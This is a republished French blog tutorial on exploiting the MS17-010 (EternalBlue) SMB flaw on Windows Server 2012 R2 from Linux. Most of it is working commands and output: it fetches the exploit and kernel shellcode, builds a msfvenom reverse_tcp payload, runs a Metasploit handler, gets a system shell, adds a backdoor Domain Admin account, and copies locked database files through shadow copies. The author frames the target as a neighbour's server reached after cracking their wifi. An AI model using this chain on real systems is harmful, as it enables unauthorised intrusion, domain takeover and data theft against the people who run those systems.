WannaCry: Mise en pratique d’un exploit sur Windows 2012 R2 a partir de Linux

Republication d’article

Source de l’article: WannaCry: Mise en pratique d’un exploit sur Windows 2012 R2 a partir de Linux

Après mon petit article sur une manière d'exploiter la faille “SMBv1” popularisé par WannaCry et Petya , j'étais malgré tout un peu frustré de ne pas trouver de méthode pour prendre le contrôle de certaines versions de Windows, dont “Windows 2012 R2”.

Alors je vais d'abord saluer ici les developpeurs qui réalisent ces exploits, mais aussi ces administrateurs qui ne mettent jamais à jour leurs Windows, qui ne lisent pas la presse, qui se croient invulnérable, et qui me donne ici l'occasion de réaliser un exploit tel, que je deviens “Domain Admins” 😉

Parce qu'il y a quelques jours, l'exploit s'appuyant sur la faille “MS17-010” a été porté pour “Windows 2012 R2”, et je vais montrer comment le mettre en pratique…

Mes principales sources d'informations sont là:

metasploit

D'abord, il va falloir installer l'environnement “metasploit”: j'ai déjà montré comment faire dans un précédent article.

Avec le présent exploit, l'utilisation de “metasploit” se limitera a générer une partie de la “charge utile” (voir explication juste après) et a fournir, via “msfconsole”, une interface pour communiquer avec le Windows “hidjacked”.

L'exploit en Python

Le scripte permettant la réalisation de l'exploit existe en 2 versions:
L'une pour Windows 7 (et dérivé) et l'autre pour Windows 8 (et Windows 2012).

Les scriptes sont disponibles par là: https://github.com/worawit/MS17-010

La version pour “Windows 7” fonctionne aussi, mais c'est ici la version “Windows 8” qui m'interesse.

On télécharge le scripte:

$ wget -c https://raw.githubusercontent.com/worawit/MS17-010/master/eternalblue_exploit8.py

Ce scripte attend 2 paramètres obligatoires:

  1. L'adresse IP de la cible
  2. La charge utile (“payload”)

Grâce a ce scripte, la “charge utile” (payload) qu'on va fabriquer nous-même, sera injecté et éxécuté dans le Windows vulnérable.

Payload

Cette charge utile est constituée de 2 bouts de programmes:

  1. Le programme permettant de devenir administrateur (“ring 0”) à partir de la faille “eternalblue”.
  2. Le programme permettant d'avoir un terminal pour éxecuter des commandes à distance.

Kernel shellcode

Donc, il nous faut d'abord télécharger un “kernel shellcode” écrit en assembleur, et puis le compiler.

Les “shells code” sont téléchargeable par là: https://github.com/worawit/MS17-010/tree/master/shellcode

Pour ma démonstration, je vais juste compiler la version “64 bit”. (mais bien sur, vous choisissez selon l'architecture du Windows visé)

On télécharge:

$ wget -c https://raw.githubusercontent.com/worawit/MS17-010/master/shellcode/eternalblue_kshellcode_x64.asm

On va devoir compiler ce bout de code avec “nasm”, donc si nécessaire, on l'installe:

$ sudo apt-get install nasm

Et on compile pour générer un “bin”:

$ nasm -f bin eternalblue_kshellcode_x64.asm

Ce qui génére un tout petit fichier nommé “eternalblue_kshellcode_x64

"reverse_tcp"

Maintenant, avec les outils fournit avec “metasploit”, il faut préparer un autre bout de code qui permet d'avoir les fonctions de terminale.

Pré-requis important:Vous devez déterminer votre propre adresse “IP” ainsi que le “Port” qui sera en écoute.

Dans l'environnement “metasploit”, il s'agit respectivement des paramètres “LHOST” et “LPORT

Pour cette démonstration, je détermine ma propre “IP” comme ceci:

$ ip a
...
2: wlp2s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 28:16:ad:4d:3f:df brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.113/24 brd 192.168.1.255 scope global dynamic wlp2s0
...

Donc, ce sera (en “wifi”) l'IP: “192.168.1.113

Pour le port , j'utilise le classique “4444”.

Et enfin, j'execute la commande suivante avec les paramètres qui vont bien:

$ msfvenom -p windows/x64/shell/reverse_tcp -f raw -o shell_msf.bin EXITFUNC=thread LHOST=192.168.1.113 LPORT=4444
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 511 bytes
Saved as: shell_msf.bin

Plus d'info sur “Venom” ici par exemple: https://homputersecurity.com/2017/06/01/venom-le-generateur-de-shellcode-metasploit/

L'union fait la force

Et pour finir, il suffit de “coller” ces 2 bouts de “bin” ensemble:

$ cat eternalblue_kshellcode_x64 shell_msf.bin > reverse_shell.bin

Notre charge utile complète se nomme “reverse_shell.bin” 🙂

Mise en pratique

On a d'abord repéré un Windows vulnérable:

$ python smb_exploit.py 192.168.30.5
[+] [192.168.30.5] is likely VULNERABLE to MS17-010! (Windows Server 2012 R2 Standard 9600)

Donc, tout est prêt:

  1. Le script pour realiser l'exploit: “eternalblue_exploit8.py
  2. La charge utile (“payload”) qu'on a préparé
  3. L'IP de la cible

Préparer le terminal

Maintenant, dans une autre session , on demarre “msfconsole”:

$ msfconsole

Ceci fait, au prompt “msf >”, on tape:

msf > use exploit/multi/handler

Le prompt change en :

msf exploit(handler) >

On poursuit:

msf exploit(handler) > set PAYLOAD windows/x64/shell/reverse_tcp
PAYLOAD => windows/x64/shell/reverse_tcp

Et puis on défini les paramètres d'ecoute du service (les mêmes que ceux inscrit dans le “payload” qu'on a créé):

msf exploit(handler) > set LHOST 192.168.1.113
LHOST => 192.168.1.113
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) >

Maintenant, on peut démarrer ce service en ecoute dans “metasploit” en tapant simplement:

msf exploit(handler) > run

Et alors le service passe en attente….

[*] Started reverse TCP handler on 192.168.1.113:4444
[*] Starting the payload handler...

Lancer l'exploit

Dans une autre session, on démarre l'exploit avec pour arguments l'IP de la cible , ainsi que notre “charge utile”.

$ python eternalblue_exploit8.py 192.168.30.5 reverse_shell.bin
shellcode size: 1262
numGroomConn: 13
Target OS: Windows Server 2012 R2 Standard 9600
got good NT Trans response
got good NT Trans response
SMB1 session setup allocate nonpaged pool success
SMB1 session setup allocate nonpaged pool success
good response status for nx: INVALID_PARAMETER
good response status: INVALID_PARAMETER
done

Si on se donne la peine de jeter un coup d'oeil sur la session précédente, “msfconsole”, on constate qu'on a obtenu le shell attendu:

[*] Sending stage (336 bytes) to 192.168.30.5                                                                   
[*] Command shell session 1 opened (192.168.1.113:4444 -> 192.168.30.5:61949) at 2017-06-25 02:33:24 +0200
                                                                                                     
Microsoft Windows [Version 6.3.9600]                                                        
(c) 2013 Microsoft Corporation. All rights reserved.                           
                                                                               
C:\Windows\system32>

😀

Prise de contrôle

Pas de bol pour mes voisins … Non seulement j'ai craqué leur wifi, mais voila que je suis sur l'un de leur serveur ! 😉

Devenir Admin du domaine

Je vais rapidement montrer comment devenir admin de leur domaine 😀

C:\Windows\system32>net user                                               
net user                                                                                            
                                                                                                    
User accounts for \\                                                                          
                                                                                     
-------------------------------------------------------------------------------
Administrator            Guest                 krbtgt                                   
The command completed with one or more errors.

krbtgt” , ça sent le controleur de domaine 😉

C:\Windows\system32>net share                                        
net share                                                                    
                                                      
Share name   Resource                        Remark                                                 
                                                                                                 
-------------------------------------------------------------------------------               
C$           C:\                             Default share
D$           D:\                             Default share
IPC$                                         Remote IPC
ADMIN$       C:\Windows                      Remote Admin
NETLOGON     C:\Windows\SYSVOL\sysvol\SCRIPTS
                                             Logon server share
SYSVOL       C:\Windows\SYSVOL\sysvol        Logon server share
The command completed successfully.


C:\Windows\system32>

Oooooh, on est bien.

C:\Windows\system32>net user Administrator
net user Administrator
User name                    Administrator
Full Name
Comment                      Built-in account for administering the computer/domain
...
Local Group Memberships      *Administrators
Global Group memberships     *Group Policy Creator *Domain Admins
                             *Enterprise Admins    *Schema Admins
                             *Domain Users
The command completed successfully.


C:\Windows\system32>

Yeah !

Bon, et bien devenons Admin de ce domaine 🙂

C:\Windows\system32>net user John PASSWORD /ADD /Y
net user John PASSWORD /ADD /Y
The command completed successfully.
C:\Windows\system32>net localgroup Administrators John /add                                                                                  
net localgroup Administrators John /add
The command completed successfully.
C:\Windows\system32>net user John /expires:never
net user John /expires:never                                              
The command completed successfully.
C:\Windows\system32>net group "Domain Admins" John /add
net group "Domain Admins" John /add
The command completed successfully.

Et voila 😀

Divers: Shadow Copy

Un petit truc, pour pouvoir copier des données bloqués par un processus en cours, genre: une base de données “MS SQL Server” sur un serveur en prod. 😉

Au lieu de killer le process, on va plutôt utiliser le système “VSS” , soit le “Volume Shadow Copy Service”.

Donc, soit des bases de données “busy” dans “D:\MSSQL\DB” : vous avez beau être “Admin”, vous ne pouvez pas y toucher.

Vérifier s'il y a déjà des volumes “shadow”:

D:\MSSQL\DB>vssadmin list shadows
vssadmin list shadows
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.

No items found that satisfy the query.

Créer un volume “Shadow” de “D:” :

D:\MSSQL\DB>vssadmin create shadow /for=D: /autoretry=1
vssadmin create shadow /for=D: /autoretry=1
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.

Successfully created shadow copy for 'D:\'
    Shadow Copy ID: {efd9063e-3148-42df-824c-77612d49b2bf}
    Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

On va rendre ce volume visible dans “D:\MSSQL\VSS” , et pour cela , il faut créer un lien symbolique.

❗ Ne pas oublier le “\” a la fin …

Rendre ce volume visible sur disque:

D:\MSSQL>mklink /d D:\MSSQL\VSS \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
mklink /d D:\MSSQL\VSS \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
symbolic link created for D:\MSSQL\VSS <<===>> \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

Maintenant, on peut partager au monde ces documents:

D:\MSSQL>net share VSS$=D:\MSSQL\VSS "/GRANT:Administrators,FULL"
net share VSS$=D:\MSSQL\VSS "/GRANT:Administrators,FULL"
VSS$ was shared successfully.

Après avoir copié joyeusement , on referme tout ça…

D:\MSSQL>net share VSS$ /DELETE
net share VSS$ /DELETE
VSS$ was deleted successfully.
D:\MSSQL>rmdir VSS
rmdir VSS
D:\MSSQL>vssadmin delete shadows /Shadow={efd9063e-3148-42df-824c-77612d49b2bf} /Quiet
vssadmin delete shadows /Shadow={efd9063e-3148-42df-824c-77612d49b2bf} /Quiet
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.

Et voila: Un jour prochain, je montrerai peut être comment craquer les mots de passe de milliers de comptes extrait d'une base de données de 100Go 😀